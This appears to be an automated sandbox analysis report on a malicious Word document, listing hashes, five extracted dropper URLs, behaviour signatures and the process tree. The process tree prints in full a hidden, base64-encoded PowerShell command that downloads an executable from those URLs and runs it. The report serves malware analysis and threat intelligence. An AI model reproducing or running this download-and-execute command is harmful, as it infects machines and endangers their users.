Analysis

  • max time kernel
    55s
  • max time network
    30s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 21:46

General

  • Target

    946f2b7669561b2d71bca59bdfa02ff82cb580eb6df077c325b20618a4d8b800.doc

  • Size

    213KB

  • MD5

    2d87858d2d5eb98d8e026d07a0fbc371

  • SHA1

    f811c8a6d76611956533bdd4b6e1fac82706730b

  • SHA256

    946f2b7669561b2d71bca59bdfa02ff82cb580eb6df077c325b20618a4d8b800

  • SHA512

    0d28f276a638137bff7bd0c55f182fd336c360c4aa2a8436e3168baa0ef986281ad4d0f5916f923ad9da248a43033bce240b13a67566e97cf3ce5aa7e41e756d

  • SSDEEP

    6144:FF2k4WtGiL3HJk9tD7bdgyD9Wv4G4IFbL:FFvQitkb7bC1bL

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\946f2b7669561b2d71bca59bdfa02ff82cb580eb6df077c325b20618a4d8b800.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1700
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1704
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2756

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5663BBE1.wmf

      Filesize

      444B

      MD5

      e4e0e3cbe96a99283158cf767eaf6d21

      SHA1

      c5d8d50c1bcaa3342599c56ebe0e4b3e6e8c4c12

      SHA256

      de680b10b192ef619cdec2194e8d1643573e79b504ad2f85f2c7ee5108361fd8

      SHA512

      aaf2649079bf645d2390f99c10d93e515e3e026415e28c5fd61607f1948ba878875c6db47e7b54078d2f516b7687374d7c2ba1d2f83a94b4c97a255de10a25ed

    • memory/1700-22-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1700-37-0x0000000005DA0000-0x0000000005EA0000-memory.dmp

      Filesize

      1024KB

    • memory/1700-5-0x0000000005AF0000-0x0000000005BF0000-memory.dmp

      Filesize

      1024KB

    • memory/1700-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1700-12-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1700-13-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1700-14-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1700-21-0x0000000005DA0000-0x0000000005EA0000-memory.dmp

      Filesize

      1024KB

    • memory/1700-39-0x0000000005DA0000-0x0000000005EA0000-memory.dmp

      Filesize

      1024KB

    • memory/1700-2-0x000000007144D000-0x0000000071458000-memory.dmp

      Filesize

      44KB

    • memory/1700-16-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1700-23-0x0000000005DA0000-0x0000000005EA0000-memory.dmp

      Filesize

      1024KB

    • memory/1700-25-0x0000000005DA0000-0x0000000005EA0000-memory.dmp

      Filesize

      1024KB

    • memory/1700-15-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1700-38-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1700-35-0x000000007144D000-0x0000000071458000-memory.dmp

      Filesize

      44KB

    • memory/1700-36-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1700-0-0x000000002FDD1000-0x000000002FDD2000-memory.dmp

      Filesize

      4KB

    • memory/2756-32-0x0000000001F00000-0x0000000001F08000-memory.dmp

      Filesize

      32KB

    • memory/2756-31-0x000000001B620000-0x000000001B902000-memory.dmp

      Filesize

      2.9MB